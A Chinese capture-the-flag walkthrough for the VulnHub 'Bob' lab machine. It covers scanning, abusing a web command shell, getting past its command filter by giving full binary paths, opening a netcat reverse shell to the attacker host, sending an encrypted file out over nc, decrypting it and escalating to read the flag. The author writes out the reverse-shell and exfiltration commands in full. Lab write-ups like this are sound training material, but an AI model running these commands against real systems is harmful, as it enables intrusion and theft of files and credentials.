本文由安全客原创发布 转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/150194
题记
最近在打靶机,发现了一个挺有意思又挺有技巧性的靶机,这里想跟大家分享一下,各位大佬轻喷。
环境准备
https://download.vulnhub.com/bob/Bob_v1.0.1.ova (靶机下载地址)
攻击机 Kali IP 192.168.107.129
靶机在同一C段下
主机发现
使用命令nmap -sP 192.168.107.1/24
。
192.168.107.1是我物理机的ip,而192.168.107.254是结束ip。所以说我们的靶机ip就是192.168.107.132.
端口扫描
使用命令nmap -sS 192.168.107.132
。我们发现只开放了一个web 80端口。我们访问。
。上面虽说有Home之类的选项。但是点不动的,没用。
所以说web页面上没什么搞头,所以我们从目录下手
目录扫描
这里我使用御剑扫描,可以看到,扫出来了robots.txt。访问,看到如下几个根目录。依次访问一下。
login.php直接是404。passwords.html是。lat_memo.html是。这两个页面都没什么有用的信息。接下来是dev_shell.php。这才是本次靶机的突破口。。
寻找突破口
一开始,我天真的以为这是一个后面。。。。拿起burp就去爆破密码,半天爆不出来。再回头来看,发现有个Output。想一想会不会是一个执行命令的。试一试果然。执行了命令,当我使用ls
时,页面没有了回显。于是,我推测,应该是ls被禁用了,但是不要忘了,ls还有个加强版的命令(也不能说是加强版,理解意思就行)。lsattr
,我们试一试,,没用过滤,这下可以看到很多有用的东西。比如说这个./dev_shell_php.bak,这很明显是个源码泄露,我们把源码DOWN下来。。看到上面过滤了一些命令,其中包括我们可能用到的ls,nc,cat
。 其实这样也可以一步一步进行信息的搜集。但是,每次都要输这么多,显然是很麻烦的。所以我想反弹一个shell到我的攻击机上。但是nc都被禁了,这里用了很多方式,最后发现这种方式能够绕过,直接去/bin里使用命令,比如我使用cat使用命令/bin/cat robots.txt
。
获取会话
知道怎么绕过nc,接下来就是获得会话了,首先在我的攻击机上使用命令nc -lvp 4444
,接着在执行命令界面使用 /bin/nc -e /bin/sh 192.168.107.1 4444
。然后,成功获取会话。。whoami
可以看到我们目前的权限。为了美化一下界面,产生一个TTY Shell 使用python -c 'import pty;pty.spawn("/bin/bash")'
。,接着ls
看下目录下的文件,有个flag.txt,应该是没权限查看的。
获得密码
进入home目录,查看一下有哪些用户。。先看bob吧,。可以看到两个文件和一个目录,那个login.txt.gpg是gpg加密的,需要密码,所以,现在的目标,就是要搞到密码。同目录下还有个Secret,跟进去看看。。这个地方,需要有某种常识。。。这个地方也是卡了半天。。,就是这个,可以发现就是个所谓的’藏头诗’。这也是比较有意思的,不知道确实就真的不知道了。。所以,密码自然就是这个每一句的开头了。
然后我们使用命令解密gpg --batch --passphrase HARPOCRATES -d login.txt.gpg
。结果还是没法。这里又卡了半天,
我是这样做的👉:用nc将该文件转发到我的攻击机上,再用gpg解密。
- 先在攻击机上
nc -lvp 1235 > login.txt.gpg
。意思是接收的文件是login.txt.gpg - 在靶机上先切换到/home/bob/Documents下,接着使用命令
nc -w 3 192.168.107.129 1235 < login.txt.gpg
。
。接着ctrl c
结束,查看。已经被转移过来了,然后,再次使用解密命令解密。,解密成功。获得了bob的密码。
get flag
登陆bob的账号。su bob
。然后我直接sudo cat flag.txt
。就得到了flag